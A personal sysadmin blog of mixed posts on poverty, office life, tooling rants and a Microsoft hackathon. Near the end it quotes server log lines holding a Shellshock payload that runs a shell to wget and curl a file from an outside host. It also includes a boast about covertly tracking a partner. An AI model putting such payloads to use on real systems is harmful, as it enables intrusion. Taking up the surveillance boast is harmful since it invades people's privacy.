When I was little, I saw my mother cry because she could not feed us. The fridge had 1 dried carrot. 

My father didn’t had his salary payed for 2 years.

At some point my mother emptied all the pockets of all the clothing in the house, bough pastic bags (because free plastic bags are also an american thing), and pour flour on them that we had as a back up.

Then she went to a market and traded the flour for food.

She was also able to sold a bag for about a dollar or something and buy more bags and trade more.

That’s how we ate for a while.

In America, Canada as well as Britain,  provide welfare. I had benefit from it. It allowed me to finish high school and have an attestation (not even a diploma), which allows me to work pay for my stuff.

If I had no diploma, there’s still a shitload of jobs that can keep you out of the streets. 

 

 

Once I was bringing leftovers from work, but stopped on a gas station.

A man entered the store at the gas station to get hot water for his instant noodles, he was dirty, but didn’t look like homeless.

I offered him the food. He said “I’m not homeless!”. He was hungry tho. I can recognize it because I know what it is. So I just put the food at his side and started talking where to go in my city to get welfare, where to go for “free food”, etc, etc. He started eating while listening (he was truly hungry). I offered him $5 for a bus ride. He didn’t take it, repeating that he’s not homeless or beggar. I said “ok then” and started walking away.

He started saying “thank you” loudly. “Thank you for your help” and pretty much was repeating him self. He was also shaking. I think that I saw a spark of home in his eyes, but that’s just a purely subjective thing. Maybe he was just insane.
Being a homeless in a first world country most of the times is a choice.

There are bad things that happen to people, but with the will for survival, one can get out.
The one that’s not homeless in his soul, will find the way out no matter of what.

 

 

You may think I’m a piece of shit because of my unpopular opinions, however, I always have food with me since bringing lunch from home and I carry new toothpaste brush with toothpaste, as well as I always carry a pair of clean socks.

Very few times those things were offered, got accepted by the person sitting with a sign.

When I was working downtown, I was speaking with a homeless dude. He was funny. Sometimes I gave him cigarettes.

Once he told me “why would I work. I’m standing here, speaking with you, did you finish your cigarette? No! But I already made $10”
Use your brain and make experiments. It can show you how much media is brainwashing you.

I like to watch

cam8cam6cam7cam9cam5cam2cam1

Nov, 2016-11-05 12:21:18 admin 76.69.215.24 Option
Nov, 2016-11-05 11:47:57 admin 91.133.94.199 Access
Nov, 2016-11-05 11:45:35 admin 76.69.215.24 Access
Nov, 2016-11-05 11:45:11 admin 91.133.94.199 Access
Nov, 2016-11-05 11:44:57 admin 76.69.215.24 Access
Nov, 2016-11-03 18:20:32 root 192.168.2.110 PowerOn
Aug, 2016-08-01 15:04:20 admin 93.192.1.114 Option
May, 2016-05-21 00:10:47 admin 192.168.2.111 Access
May, 2016-05-20 02:43:57 admin 192.168.2.147 Access
May, 2016-05-20 02:37:16 admin 192.168.2.132 Access
May, 2016-05-19 23:59:50 admin 192.168.2.147 Access
Mar, 2016-03-08 05:58:02 admin 188.210.62.39 Access
Feb, 2016-02-24 08:57:19 admin 37.201.170.157 Access
Feb, 2016-02-08 14:46:22 admin 185.104.120.4 Access
Feb, 2016-02-04 07:00:00 admin 37.201.113.25 Access
Feb, 2016-02-03 16:54:05 admin 79.222.236.174 Access
Feb, 2016-02-03 08:20:17 admin 37.201.113.25 Access
Feb, 2016-02-02 19:03:17 admin 79.222.232.134 Access
Feb, 2016-02-02 13:26:08 admin 81.11.176.113 Access
Feb, 2016-02-02 11:56:39 admin 79.222.232.134 Access
Feb, 2016-02-02 08:56:00 admin 37.201.113.25 Access
Feb, 2016-02-02 08:54:04 admin 79.222.232.134 Option
Feb, 2016-02-02 08:53:43 admin 79.222.232.134 Access
Feb, 2016-02-02 08:37:33 admin 37.201.113.25 Option
Feb, 2016-02-02 08:25:53 admin 37.201.113.25 Access
Feb, 2016-02-02 08:19:33 admin 37.201.113.25 Option
Feb, 2016-02-02 08:16:35 admin 37.201.113.25 Access
Jan, 2016-01-16 16:00:58 admin 84.189.198.253 Access
Jan, 2016-01-16 06:51:00 admin 84.189.217.170 Option
Jan, 2016-01-16 06:25:28 admin 84.189.217.170 Access
Dec, 2015-12-15 04:38:56 admin 192.168.2.147 Access
Dec, 2015-12-15 04:38:21 root 192.168.2.110 PowerOn
Nov, 2015-11-15 18:22:53 admin 192.168.2.147 Access
Nov, 2015-11-14 16:33:53 root 192.168.2.110 PowerOn
Nov, 2015-11-14 16:31:08 admin 192.168.2.132 Access
Nov, 2015-11-14 16:12:06 admin 192.168.2.132 Access
Nov, 2015-11-14 16:08:02 root 192.168.2.110 PowerOn
Nov, 2015-11-14 16:00:51 admin 192.168.2.132 Access
Nov, 2015-11-14 16:00:13 admin 192.168.2.132 Option
Nov, 2015-11-14 15:57:35 admin 192.168.2.132 Access
Nov, 2015-11-14 15:57:05 root 192.168.2.110 PowerOn
Oct, 2015-10-25 21:38:05 admin 95.90.193.109 Access
Oct, 2015-10-24 12:52:23 root 192.168.2.110 PowerOn
Oct, 2015-10-24 12:51:36 admin 192.168.2.124 Reset
Oct, 2015-10-24 12:51:34 admin 192.168.2.124 SetConfig
Oct, 2015-10-24 12:50:22 admin 192.168.2.124 Access
Oct, 2015-10-24 02:28:19 admin 192.168.2.101 Access
Oct, 2015-10-24 02:25:19 admin 192.168.2.147 Access
Oct, 2015-10-24 02:24:08 root 192.168.2.110 PowerOn
Oct, 2015-10-24 02:18:02 root 192.168.2.110 PowerOn
Oct, 2015-10-23 16:36:05 admin 192.168.2.147 Access
Oct, 2015-10-23 16:30:39 root 192.168.2.110 PowerOn
Oct, 2015-10-23 16:29:57 admin 192.168.2.147 Reset
Oct, 2015-10-23 16:29:55 admin 192.168.2.147 SetConfig
Oct, 2015-10-23 16:28:56 root 192.168.2.110 PowerOn
Oct, 2015-10-23 16:28:22 admin 192.168.2.147 Reset
Oct, 2015-10-23 16:28:21 admin 192.168.2.147 SetConfig
Oct, 2015-10-23 16:16:27 root 192.168.2.110 PowerOn
Oct, 2015-10-23 16:15:31 root 192.168.2.110 PowerOn
Oct, 2015-10-23 16:14:18 root 192.168.2.104 PowerOn
Oct, 2015-10-23 13:59:39 admin 80.187.112.40 Access
Oct, 2015-10-23 13:07:45 admin 93.192.23.34 Access
Oct, 2015-10-22 13:43:40 admin 192.168.2.147 Access
Oct, 2015-10-21 20:19:47 root 192.168.2.110 PowerOn
Oct, 2015-10-21 19:17:40 root 192.168.2.110 PowerOn
Oct, 2015-10-21 19:07:58 admin 192.168.2.147 Reset
Oct, 2015-10-21 19:07:56 admin 192.168.2.147 SetConfig
Aug, 2015-08-16 20:15:30 admin 192.168.2.147 Access
Aug, 2015-08-06 03:16:33 root 192.168.2.110 PowerOn
Jun, 2015-06-24 03:59:39 admin 93.204.210.131 Access
Apr, 2015-04-17 16:05:28 root 192.168.2.110 PowerOn
Mar, 2015-03-26 12:39:21 admin 5.100.131.179 Access
Oct, 2014-10-26 18:54:09 root 192.168.2.110 PowerOn
Sep, 2014-09-26 16:09:00 root 192.168.2.110 PowerOn
Sep, 2014-09-11 23:38:13 admin 192.168.2.109 Access
Sep, 2014-09-09 02:57:47 admin 93.192.27.66 Option
Aug, 2014-08-18 13:53:20 root 192.168.2.110 PowerOn
Aug, 2014-08-13 19:05:14 admin 192.168.2.109 Access
Jul, 2014-07-13 13:07:13 admin 192.168.2.109 Option
Jul, 2014-07-12 00:16:03 admin 192.168.2.109 Access
Jul, 2014-07-02 13:26:33 root 192.168.2.110 PowerOn
May, 2014-05-30 13:10:46 root 192.168.2.110 PowerOn
May, 2014-05-12 06:09:56 root 192.168.2.110 PowerOn
May, 2014-05-12 06:08:56 admin 192.168.2.109 Access
May, 2014-05-12 06:12:30 admin 192.168.2.109 Reset
May, 2014-05-12 06:12:18 admin 192.168.2.109 SetConfig
May, 2014-05-12 06:12:03 admin1 192.168.2.109 Access
May, 2014-05-12 06:09:51 root 192.168.2.110 PowerOn
May, 2014-05-12 06:08:55 admin 192.168.2.109 Reset
May, 2014-05-12 06:08:36 admin1 192.168.2.109 Access
May, 2014-05-12 03:45:51 admin1 93.192.62.236 Access
May, 2014-05-12 03:44:20 admin 93.192.62.236 SetConfig
May, 2014-05-12 02:50:00 root 192.168.2.110 PowerOn
May, 2014-05-12 02:32:31 admin 93.192.12.9 Access
May, 2014-05-11 22:41:56 admin 192.168.2.109 Access
May, 2014-05-11 14:46:52 admin 80.187.111.12 Option
May, 2014-05-11 14:21:17 admin 93.192.12.9 Access
May, 2014-05-10 12:35:16 root 192.168.2.110 PowerOn
May, 2014-05-10 12:33:51 admin 192.168.2.109 Reset
May, 2014-05-10 12:33:50 admin 192.168.2.109 SetConfig

 

The greatest mistake

Yes, I broke my own rule and bought cheap shoes from a crappy magento site…. thing I never thought I would do.

Didn’t receive a confirmation mail, they’re not responding to mails (obviously… cuz their mail server is not working) and now I see they failed to configure varnish…

Will fix your server for shoes? Ploooox?

guru

 

 

 

 

 

 

 

 

 

Damn you Amazon! Y U NO SHEEP THOSE TO MY COUNTRY? 

Dudes…

Some  dude posting on facebook, so romantic, so naive…

If I date you, I don’t want your passwords, or your phone.

I can get all the info I want about you and you will never know, because I’m a sysadmin.

I’ll know where and with who you are, all of your interests, what you want to eat tonight, what are you thinking about  and how much sleep you’re sacrificing between your job and university just to see me.

I don’t want you to give me any info, it’s not fun to get it from you, but don’t ever expect me to be that brainless sheep, that will always believe you, in those times, when you’re going to a bar, but say you’re sick and will just watch a movie.

I’m not against having some beers with the dudes, if you don’t end up on an address none of your friends lives at…

Trust is something that you loose, just like virginity. The only difference is that to someone, it takes numerous times to be fucked.

I don’t understand why dudes want to date “computer nerd gamer girls”.

We’re as batshit crazy as any other female on the planet, the only difference, is that normal females make scandals because their intuition tells them something is wrong, IT girls have proof.

LOL Dude

Hoster contacting ops team telling they can give us a server and a /22.

…ops team that has their own cloud providing services to oher customers…

Hoster that didn’t bother to even block his wp-admin

I feel so bad for them, I want to write a reply “will re-do your website for cheap and install basic security for free…  I’m so sorry for you”

Image result for fail.jpg

Online generation

After I’ve exited a metal conert, I saw a message on my cell:

“Are you at the same concert than I ?”

 
Like I’m checking my cellphone in the middle of the moshpit… where big buff dudes run in circles and push each other, when the music plays so loud, that you feel all your internal organs vibrate to the rhytm (and this is not a metaphor).
Fortunatelly, the good old fashioned way of communication by human contact still works and shows to be more efficient in many cases.

I <3 my job

The best words of appreciation I got from a boss so far:

“you should teach others to follow you’re example and if they don’t, you have my permission to beat them with a stick”

Y U SO SEXIST!!!!!1111

I don’t drive drunk, so had to take a bus from a friend’s place to the parking. Was pretty tired, not hangover, just didn’t slept enough.

A guy with a 3DS stood up from his seat, like giving it to someone. I’ve looked around, there was no old, injured or pregnant people, so it was for me. I thanked the dude and sat. To be honest I was tired as fuck and really appreciated the gesture.

However, his friend started telling him how sexist that was. Since the dude that gave me his place sounded convinced of what he did, I didn’t say anything to his friend (now I think I’ve should).

WTF? Being a gentleman now it’s a bad thing? I thought this PMSing lonely fatass womanpowa mentality was only on the Internets… One of those things that one watches on YouTube for the lolz.

Sysadmin Power!

SYSADMINS! Warriors of the console! We have to unite! Torvalds, the father of Linux is being kept hostage by Microsoft!
We have to do something before it’s too late! The father of the kernel is in danger. Look what they did to the penguin already!!!

 

Until death separates us

Recompiling the kernel, is just like Vodka, solves all the issues.
My 10 years old wacom tablet now works under Linux. On Windows, I would have to buy a new one…

Yes, I’ve tested it under Windows and the most recent drivers for it don’t provide basic functionality such as pressure sensitivity, the old ones, from the original CD, make it laggy and buggy.

On Gentoo, it works like new.

<3 Gentoo

Getting older.

the_big_day

I understand code, better than comments:

# if we have a match, then set lowest to index if lowest is not set or if index is lower than lowest
if index != -1 and (not lowest or index < lowest):
             lowest = index

Bug day

  • Creating a monitor in DataDog creates 2 of them with an identical name.
  • You can’t exceed the limit of alerts that pingdom allows you, but you can enable a paused alert exceeding the limit. It will work perfectly for what you want if you reconfigure it.
  • Amazon console keeps giving me error 0 messages in popup windows.

Stalkers are everywhere

That feeling, when the client asks you to add a new IP because he’s working from a cafe… and you trace him… and see this:

butt

Unfortunatelly, Google is an asshole and does not let me to zoom in more, however, it’s a good sign. That dude must bring luck.

UDP: Unless it’s an indication that everything will be a complete ЖОПА

I’m an evil hacker! MWA HAHAHA!

Apperently, scanning ports on elasticache node that belongs to your account from a VM that belongs to your account is considered as abuse by AWS.

[…] We’ve received a report(s) that your EC2 instance(s) Instance Id: i-xxxxxxxx IP Address: x.x.x.x has been implicated in activity which resembles scanning remote hosts on the internet for security vulnerabilities. Activity of this nature is forbidden in the AWS Acceptable Use Policy (https://aws.amazon.com/aup/). We’ve included the original report below for your review. […]

I think I know now, where the bad hacker movies take their inspiration.
Oh well… I’ll not use nmap. I will stay away from the ping command as well, because I may hack the pentagon.

Anonymous is out of fashion

no_anonymous

Next step: suggest to make a page where I put my address, phone number,job location, driver licence,  credit card number and PIN as well as all the other personal info, so my relatives, multimillionaires princes/kings from Africa can find me and give me all their fortune? 

DataDog is like legos, there’s stuff you don’t see, but when you step on it, it’s so painfull.

Why… just why you have a different syntax for trigger and re-trigger alerts?

[Re-Triggered on {device:/dev/xvda1,host:testing.blabla.internal}] [testing] Disk space low testing.blabla.internal 192.168.15.43
[Triggered on device:/dev/xvda1,host:testing.blabla.internal] [testing] Disk space low testing.blabla.internal192.168.15.43

Of course, humans never make inattention errors, that can pass QA and leak in prod.

Fuck my life… with Regex!

Shut up, you may offend someone on the internetz!

Was trolling with some engineers in the US over slack, on how there’s a Readme on how to do the doc and how there should be a doc for the Readme…
Some dude: lol. would that make you read them? </troll>
Me: well… maybe… but I would have to learn to read… and I’m blonde
Some dude: You put me in awkward situations with your jokes :smile:. They are def not US workplace friendly.

So I apologized, in order for the dude to not have to laugh at my joke and to not get in trouble because I make fun of myself… o_O

That does not make lots of sense to me… at least I didn’t start with the “big tits” that often follow “blonde”.

It’s not that he does not have a sense of humor… 

Some dude [private message]: Sorry, I don’t mean to be an ass. US women are usually pretty serious about those kind of jokes. It typically causes employers to fire people.

… it’s just that Soviet Russia had less censorship and more freedom of speech… 
I thought the internets were batshit crazy, but nop, it’s actually the world.

 But that’s Soviet Russia, we all know there’s dancing bears over there drinking vodka 24×7.

US cares about their employees and makes workplaces very safe for females.

bubble

 

That feeling

…when you finish GTA V & stay there for the credits, because it’s just like finishing a great book, makes you sad… replaced with RAGE because housekeeping is more important than IT people, so appears in credits first? Really? REALLY?! FUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!1111111111

housekeeping>ITOk…  I admit there must be something like alphabetical order… but the DAFUG?.jpeg feeling will never leave my impression of GTA V.

It’s way easier that it sounds…

A tuple is a sequence of immutable Python objects. Tuples are sequences, just like lists. The differences between tuples and lists are, the tuples cannot be changed unlike lists and tuples use parentheses, whereas lists use square brackets. Creating a tuple is as simple as putting different comma-separated values.

Nail polish, they’re all alike, the difference is that this bottle is pink and this one has sparkles in it!

Girls coding…

The things I really need:

  • Sleep
  • A rubber duckie

Because spending a couple of hours debugging why a simple comparison of 2 variables (strings) does not work when it should is frustrating, specially, after realizing, those were 2 different strings!

It’s normal it did not enter the loop, the script was working properly the whole time, I just didn’t feed it the correct values…

Sometimes I really wish I was born with a darker hair colour…

Alice-facepalm

Microsoft is good

I must admit Microsoft has some good things. Firt is AD, because managing printers, users, etc on Linux is possible, but not the best, specially in large corporations where there are hundreds of hamsters  users.

However, AD is not a product that I must touch daily and be happy about. It’s their keyboards.

I got it  before colledge, which I had finished more than 5 years a go…

Just today, in less than 30 minues, I’ve dropped my beer glass twice, yes, on the keyboard.  

It has harder keys, which is not as comphy for someone spending 12+ hours a day in a terminal, however, it’s still alive, not like my Logitech k800. 

It was water! WATER! I turned it off immediately, removed the batteries and put it in the rice barrel we have (because back in Soviet Russia, there was no food and now we stack all the foods like preparing for zombie apocalypsis). It was useless. None of the actions I did mattered. It’s dead.

Now… I really wonder if Microsoft does have something that’s good quality, or they just do products minded for drunken clumsy people.

Here’s some nerdcore, because reasons:

 

Spring: The time of the year when allergies kick in.

All the sysadmins are guilty of “curl -sSL https://install.stackstorm.com/ | sudo sh -s -- -r v1.3.2"

There are no exceptions, all of  us were young & dumb.

An ubuntu noob, showing off hiz cool compiz cube saying he’s super hacker, will go follow the first tutorial found google to try to fix a problem. That kind of people has no notion of “production”, “security” and “common sense”. It’s normal, those are things that are aquired with experience. It’s called growing up as sysadmin.

After some time, a bunch of clusterfucks, sleepless nights and angry clients, we all come to the conclusion that copypasta from a how-to-me-wanna-be-techy blog is BAD.

Oh wait…  What?

microsoft_nonsense

Okay, nevermind! Microsoft is taking care of us guys. We can all ditch reading, thinking by our selves and learning how to do shit properly. It’s just like the old times, when the internet was not evil and we could trust the install scripts from any source!

Microsoft  ensures that everyone can be a sysadmin. Even people with an attention spawn of a goldfish.  It’s all quick and easy again. Just like in the ubuntu forums, but without the ‘rm -rf’ “jokes” that endup wiping your OS (well… only until reaching /bin). Microsoft would never let you down!

Also, they’re so sure you’ll love Windows 2016 Nano, that it almost sounds like a form of hypnosis! 

Did they really had to put that word to the OS name? It was trendy about 3 years a go… is it just me, or it sounds outdated as fuck?

It’s funny in their hackatons they preach that having a slow development process hurts the company,  but re-use  terms of dinosaur times? Or they’ve just copied Amazons t1.ano with 1CPU&512MbRAM?

https://channel9.msdn.com/Blogs/The-Ops-Team-Blog/Datacenter-on-Premise

“We know and you know:”

We’ll just remind you again, that we’re the good guys, so you don’t forget we’re on the same side. Right?

“Working in IT often means little time for much else. You like to keep up with the latest releases, technology trends, and evolving threats, but with work piling up, this can be difficult. Even worse, when you can make time to find out what’s new in IT, you often have to waste it sifting through a sea of unreliable information and a bunch of “Cloud training 101!!!” videos that are really just sales pitches.”

Yes, it is so difficult to spend 15 minutes a day on news… There are no trusted nerd websites, no social media at all that can notify you about stuff that interests you.

Anyways, those precious 15 minutes a day can not be wasted on sitting in front of a computer and reading. You have to get up early, put on a shirt and a tie, get stuck in traffic for 1 hour, just so all the office plankton can be at the same place at the same time.

Collective thinking is the only way to go, so again, lets just drop any attempt to self education. Microsoft will provide you the only  only the information you need. Microsoft will tell you what’s smart and what’s not. Microsoft is your friend.

“We realize you want to hear from people who actually know their stuff: real IT people, the engineers building the solutions, and other highly technical minds.”

Because you are just a random looser, sitting in a basement, fixing printers when the secretary calls you.

You’re not a real sysadmin. You follow the leader, the smarter senior, with 75 years of experience, who claims to have invented the punch cards himself. 

Because you’re not capable of thinking. Because you can achieve something, only if someone already has done it and wrote a procedure for it.

You can only be a sheep.

Losing faith on new generation

dyslexia

Seriously, how many times you need to copy paste a “hacking” command in the terminal  before understanding the shit you do does not work?

I’m seriously considering donating to a dyslexia charity. It seems to be a big problem among youngest generations… 

Random observations of another internet troll on a Microsoft DevOps hackaton

The dude speaking was wearing a T-shirt. Where’s the suite?

Emphasize they love Open Source and are friends with Red Hat “which is a Linux!”

Using all those free tools like git & jenkins, but of course offering Microsoft’s “free” alternative. Free up to X users. Once you grow, you’ll have to give your money to evil friendly corporation.

They even used git in the console! The presentator also told he loves the command line (lol.jpeg)

Microsoft has it’s own github… I guess they expect Open Source people to fix their shitty code…

Emphasize that there’s no Microsoft logos in the presentation, since they teach people the “devops” ways (they just added them later on the slides, but of course, without mentioning anything this time)

Give Team Services for free, again, to hook you up and get you money later.

JSON all the things! This is actually good…

They called a chef dude, who gave limited amount of sock, stickers and other goodies (poor.jpeg) and gave a speech of about 30 seconds on config management.  Why Microsoft would let him talk for longer? Chef sells their own shit and Microsoft will get no money from the people that Chef recruits as customer.

The presentator was constantly using the words “free” and “Microsoft” in the same sentence. I wonder if their followers sysadmins need stuff repeated hundreds of times like a mantra to be able to remember or if it’s some kind of hypnosis/prayer/indoctrination. Maybe he was just trying to convince himself. They say that if you repeat a lie long enough, you start to believe it.

Azure interface is disgusting, it keeps scrolling horizontally, so to get an info like IP, you need to do 92837492837492837492437928374  clicks. Looks pretty, but it’s damn annoying. I guess they develop interfaces for secretaries and blondies… or sysadmins that don’t do shit, but need to look busy.

Most of people attending the DevOps hackaton were wearing shirts & ties & suits on the first day. lol.jpeg

Most of people came in T-shirt on the next day (just like the Microsoft’s speaker), but somehow, many of them still managed to look formal. How?

Sometimes a beard starts growing from a nose and did not stops on the neck. Also, nose hair is the first one to become all white, while the beard keeps being tomato red. However, with those attributes, who needs a haircut, messy is a style for all body hair, not only nose and neck.

Most of the people had huge, bulky and ugly laptops. I  see no way in Hell they would carry those with them on their regular oncall duty. I guess they regularly leave them on their desk at 5pm from Monday to Friday.

EVERYONE leaves their seats at ONCE on lunch time and NO ONE locks their laptops! I didn’t bother asking about disk encryption and BIOS password… This was a really HARD temptation to resist. But I’m a good girl, I would not misbehave while on a conference my job (<3) sent me at.  

2 of 3 females attending the hackaton wore feminist T-shifts. Something containing the words “yes” “I’m female” and “DevOps” and a phrase rather aggressive designated to tell all those sexist man that females can work in IT too. However, none of the girls wearing the T-Shirts had the courage to speak up, respond to a question that the presentator was making, or even look up. They reminded me of Muslim girls from extremist countries, sitting modestly with their mouths shot.

The third female had gorgeous black curly hair… but probably picked up her clothing in second hand store from the 90’s. It just did not look good. However, who cares,   she was old, had no makeup on and …   females should not be judged only by their looks, specially in IT!

The only hot guys were those from Microsoft. Rest was old trying to look as professional as possible.

It’s quite sad that almost no hands were raising when the Microsoft’s dude was asking “who knows IAC?”, “Who knows Git?”, “Who knows  continuous deploying?” and how many hands raised, when the dude was asking “who never knew of …?”  A colleague of mine made an observation about a spectator. He said he must be super smart, since he has all those stickers on his laptop. He must be loving those technologies. Sadly, that was the person always raising his hand on “who never head of …?”

Microsoft dude repeated several times, that they will be glad to help companies by analyzing their particular setup and making a plan  with all the things the company has to implement to be more efficient on their product development. All that for free of course! The only thing they want in exchange is to make a blog post a la “Microsoft helped another company”. Is it me or they’re just like 16 years  old girs being “like” whores on facebook?

Overall,  it makes sense that Microsoft made Windows 10 free. They finally realised they won’t make money selling their OS to simple mortals, moms that spend most of their time in the kitchen, dads that are most of the time outside of the house or their kids, who only want gaming, porn & troll on the internets.  Or maybe they’ve realized that no one needs Windows Server, IIS and MSSQL to run a php website… 

This hackaton attempted to pretend to teach people about the devops ways, when in fact, it was just propaganda, promoting their products and a desperate attempt to make their cloud more popular (beause “all the things are integrated with Azure”), make MS fans even more loyal and maybe recruit people “from the other side”.

Nice try Microsoft! You almost look like the “cool  kids” now, but we still remember.

 

I haz a sad…

I got a reader! Someone has read my blog! He even shared my kitty picture on faceboook!!

And it was not a bot because how he click on stuff and try different things… like remote exec… with typos and stuff…

I gue$$ hackerz can be dislexyc t00...

terminal_pony_1_by_zee66-d6cww44

Data Dog

How it’s presented:

dd_1

How I feel using their API:

leo_tire

But seriously, why giving the option to send custom payloads in the web hooks if all the info I can send is relative to the event, which does not include {{host.ip}}, {{host.name}} and many other parameters that you desperately need (like tags, host tags, not monitor tags) while trying to make an integration pack for your level 1 support automation.

Also, did I mention that the default payload imitates to be a JSON, but is not a JSON? And I was wondering why python failed parcing it so badly…

Oh well, in the mails those messages look super cute. Because we all enjoy reading tons of mails per day right? RIGHT? 

Of course the support takes suggestions and is really polite, but you never hear back about those. No followup ticket/mail. No github issue. Sight…

You can input all the data you want from all the things, but outputting… why would you do that? Everything you need is here, in our interface, which is hosted on Amazon and lags on autoscaling… and yeah… can’t allow just a range of IPs to access my API for security reasons. We got Pager Duty, so you can send alerts directly to the oncall person at 3 am!

Multi-client, but has no option to see all your servers at once. Really usefull for a hoster that wants to know which servers are down, because of an issue that affects the hypervisor, while Pager Duty is chocking with the amount of the alerts that are sent to it.

Edit:

Forgot to mention, why do you bother to do an API if you still leave parts of your product unmanageable by it?

Have 10 clients, with 3 web hooks each? That’s plugged to an automation box which remediates all-the-things depending on the alert?

Box goes down?  Security issue? Need to re-generate all the API keys which are used by Data Dog to authenticate on the Automaton system?

Well… connect to the interface and do it manually, because you got nothing else to do, hackers will wait for you and not destroy all the things and because automation is overrated anyways.

Edit 2:

Need to monitor CPU+RAM percentage usage? What? Why I configure it as it’s in the FAQ, but get alert triggered at 2% instead of 90%. Damn! Get your shit together Data Dog!

Edit 3:

There’s still no phone app for DataDog. Because we all check our Emails 24×7.

Who in Hell needs a phone app for the oncall anyways?!

Awwwwww!!! First attack attempt on my server! So cute! ^_^

93.190.69.10 - - [27/Apr/2016:09:23:07 -0400] "GET / HTTP/1.1" 200 714 "-" "() { :; }; /bin/sh -c 'wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'"

64.74.197.103 – – [27/Apr/2016:10:25:26 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'”